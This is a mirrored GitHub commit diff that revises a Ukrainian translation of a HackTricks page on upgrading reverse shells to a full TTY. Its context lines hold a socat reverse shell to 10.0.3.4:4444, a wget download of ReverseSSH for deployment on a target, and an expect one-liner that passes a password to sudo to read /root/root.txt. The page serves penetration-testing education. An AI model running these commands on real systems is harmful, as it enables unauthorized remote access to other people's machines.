mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['generic-methodologies-and-resources/reverse-shells/full-tty
This commit is contained in:
parent
cfd0e203d8
commit
255711bd61
1 changed files with 5 additions and 5 deletions
|
@ -67,11 +67,11 @@ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
|
|||
|
||||
## ReverseSSH
|
||||
|
||||
Зручний спосіб для **інтерактивного доступу до оболонки**, а також **передачі файлів** і **пересилання портів** - це розміщення статично зв'язаного ssh сервера [ReverseSSH](https://github.com/Fahrj/reverse-ssh) на цілі.
|
||||
Зручний спосіб для **інтерактивного доступу до оболонки**, а також **передачі файлів** і **перенаправлення портів** - це розміщення статично зв'язаного ssh сервера [ReverseSSH](https://github.com/Fahrj/reverse-ssh) на цілі.
|
||||
|
||||
Нижче наведено приклад для `x86` з бінарними файлами, стиснутими за допомогою upx. Для інших бінарних файлів перевірте [сторінку релізів](https://github.com/Fahrj/reverse-ssh/releases/latest/).
|
||||
|
||||
1. Підготуйтеся локально, щоб перехопити запит на пересилання порту ssh:
|
||||
1. Підготуйтеся локально, щоб перехопити запит на перенаправлення порту ssh:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -82,7 +82,7 @@ wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_revers
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
* (2a) Лінукс ціль:
|
||||
* (2a) Ціль на Linux:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -114,13 +114,13 @@ sftp -P 8888 127.0.0.1
|
|||
```
|
||||
## Penelope
|
||||
|
||||
Penelope (https://github.com/brightio/penelope) автоматично оновлює Linux зворотні оболонки до TTY, обробляє розмір терміналу, веде журнали всього і багато іншого. Також вона надає підтримку readline для Windows оболонок.
|
||||
[Penelope](https://github.com/brightio/penelope) автоматично оновлює Linux reverse shells до TTY, обробляє розмір терміналу, веде журнали всього і багато іншого. Також вона надає підтримку readline для Windows shells.
|
||||
|
||||
![penelope](https://github.com/user-attachments/assets/27ab4b3a-780c-4c07-a855-fd80a194c01e)
|
||||
|
||||
## No TTY
|
||||
|
||||
Якщо з якоїсь причини ви не можете отримати повний TTY, ви **все ще можете взаємодіяти з програмами**, які очікують введення користувача. У наступному прикладі пароль передається до `sudo` для читання файлу:
|
||||
Якщо з якоїсь причини ви не можете отримати повний TTY, ви **все ще можете взаємодіяти з програмами**, які очікують введення користувача. У наступному прикладі пароль передається до `sudo`, щоб прочитати файл:
|
||||
```bash
|
||||
expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
|
||||
```
|
||||
|
|
Loading…
Reference in a new issue